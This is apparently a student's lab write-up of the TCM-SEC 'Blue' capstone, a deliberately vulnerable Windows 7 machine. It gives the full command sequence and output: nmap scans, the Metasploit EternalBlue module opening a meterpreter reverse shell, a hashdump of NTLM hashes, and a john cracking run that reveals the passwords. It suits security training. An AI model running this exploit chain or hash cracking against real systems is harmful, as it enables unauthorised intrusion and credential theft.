



# Capstone: Machine Blue (TCM-SEC)

16.Aug.2024

---

This Machine is Intentionally Vulnerable. The Report is on Taking full access to this Machine.

You can download this machine from:

<https://drive.google.com/drive/folders/1xJy4ozXaahXvjbgTeJVVyY-eUGIKgCj1?usp=sharing>

Level: Easy.

## Topics Covered.

- Scanning.
- Version Detection.
- Google Search.
- Exploitation with Metasploit.
- Cracking Password Hash.

## Steps followed to gain access to the system.

1. Finding Target on our VMware Network.

```
(captain@CAPTAIN) - [~/Documents/learn-/TCM-PEH-course]
nmap -sn 172.16.157.1/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 14:44 IST
Nmap scan report for 172.16.157.1
Host is up (0.00047s latency).
Nmap scan report for 172.16.157.129
Host is up (0.00062s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.61 seconds
```

## 2. Recon the Target and collect the information for the target system

```
(captain@CAPTAIN) - [~/Documents/learn-/TCM-PEH-course]
$ nmap -Pn -sC -sV -T5 172.16.157.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 14:45 IST
Nmap scan report for 172.16.157.129
Host is up (0.00043s latency).
Not shown: 992 closed tcp ports (conn-refused)
PORT      STATE SERVICE          VERSION
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds     Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
Service Info: Host: WIN-845Q99004PP; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a4:d0:b9 (VMware)
|_ smb-security-mode:
|   account used: guest
|   authentication level: user
|   challenge_response: supported
|   message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 11h50m00s, deviation: 2h18m34s, median: 10h29m59s
|_ smb2-security-mode:
|   2.1:0:
|     Message signing enabled but not required
|_ smb2-time:
|   date: 2024-08-16T19:46:10
|   start_date: 2024-08-16T19:40:31
|_ smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-845Q99004PP
|   NetBIOS computer name: WIN-845Q99004PP\x00
|   Workgroup: WORKGROUP\x00
|_ System time: 2024-08-16T15:46:10-04:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.22 seconds
```

With this procedure we found that.

- **Windows Version:** Microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 Microsoft-ds (workgroup: WORKGROUP)
- Then SMB Service which requires Authentication.

## 3. After Google Search About the Windows Version we Found that its Vulnerable.

The screenshot shows the Exploit-DB website interface. The browser's address bar displays 'exploit-db.com/expl...'. The website header features the 'EXPLOIT DATABASE' logo. The main content area displays the title 'Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)'. Below the title, there are four metadata boxes: 'EDB-ID: 42315', 'CVE: 2017-0144', 'Author: SLEEPYA', and 'Type: REMOTE'. A green checkmark indicates 'EDB Verified: ✓', and a download icon with a code symbol indicates 'Exploit: ⬇ / {}'. Below these, another box shows 'Platform: WINDOWS' and 'Date: 2017-07-11'. The 'Vulnerable App:' field is currently empty. Navigation arrows are visible at the bottom of the metadata section. At the bottom of the page, a code block contains the following Python code:

```
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
```

4. Hit metabolite and try to find an exploit.

```
msf6 > search EternalBlue

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example `info 4`, `use 4` or `use exploit/windows/smb/smb_doublepulsar_rce`

```
msf6 >
```

5. See the what options required.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

```

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.96.158  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:
```

No need to set Payload it by Default requires one.

## 6. Set the target and check, is it vulnerable to this Exploit

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set Rhost 172.16.157.129
Rhost => 172.16.157.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[*] 172.16.157.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.157.129:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 172.16.157.129:445 - Scanned 1 of 1 hosts (100% complete)
a[+] 172.16.157.129:445 - The target is vulnerable.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

And it is vulnerable to this payload.

## 7. The run the payload takes the meterpreter session

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploite
[-] Unknown command: exploite
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.96.158:4444
[*] 172.16.157.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.157.129:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 172.16.157.129:445 - Scanned 1 of 1 hosts (100% complete)
[+] 172.16.157.129:445 - The target is vulnerable.
[*] 172.16.157.129:445 - Connecting to target for exploitation.
[+] 172.16.157.129:445 - Connection established for exploitation.
[+] 172.16.157.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.157.129:445 - CORE raw buffer dump (38 bytes)
[*] 172.16.157.129:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 172.16.157.129:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 172.16.157.129:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 172.16.157.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.157.129:445 - Trying exploit with 12 Groom Allocations.
[*] 172.16.157.129:445 - Sending all but last fragment of exploit packet
[*] 172.16.157.129:445 - Starting non-paged pool grooming
[+] 172.16.157.129:445 - Sending SMBv2 buffers
[+] 172.16.157.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.157.129:445 - Sending final SMBv2 buffers.
[*] 172.16.157.129:445 - Sending last fragment of exploit packet!
[*] 172.16.157.129:445 - Receiving response from exploit packet
[+] 172.16.157.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.157.129:445 - Sending egg to corrupted connection.
[*] 172.16.157.129:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.96.158
[+] 172.16.157.129:445 - =====
[+] 172.16.157.129:445 - =====WIN=====
[+] 172.16.157.129:445 - =====
[*] Meterpreter session 1 opened (192.168.96.158:4444 -> 192.168.96.158:57091) at 2024-08-16 15:08:10 +0530

meterpreter >
```

and BOOM we have the Windows session without a password.

## 8. Now hash dump the hashes of password.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f580a1940b1f6759fbdd9f5c482ccdbb:::
user:1000:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
meterpreter >
```

9. Store these hashes to the file and then run john with Rockyou.txt to crack this hashes.

```
(captain@CAPTAIN) - [~/Documents/TCM PEH]
$ cat blue.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f580a1940b1f6759fbdd9f5c482ccdbb:::
user:1000:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

(captain@CAPTAIN) - [~/Documents/TCM PEH]
$ john -w=/usr/share/wordlists/rockyou.txt bl.txt --format=NT
stat: bl.txt: No such file or directory

(captain@CAPTAIN) - [~/Documents/TCM PEH]
$ john -w=/usr/share/wordlists/rockyou.txt blue.txt --format=NT
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2024-08-16 15:55) 0g/s 8103Kp/s 8103Kc/s 8103KC/s a142450..*7iVamos!
Session completed.

(captain@CAPTAIN) - [~/Documents/TCM PEH]
$ john --show blue.txt --format=NT
Administrator:Password456!:500:aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user:Password123!:1000:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

3 password hashes cracked, 1 left

(captain@CAPTAIN) - [~/Documents/TCM PEH]
$
```

You go it

Now try to login with this password

Login as administrator

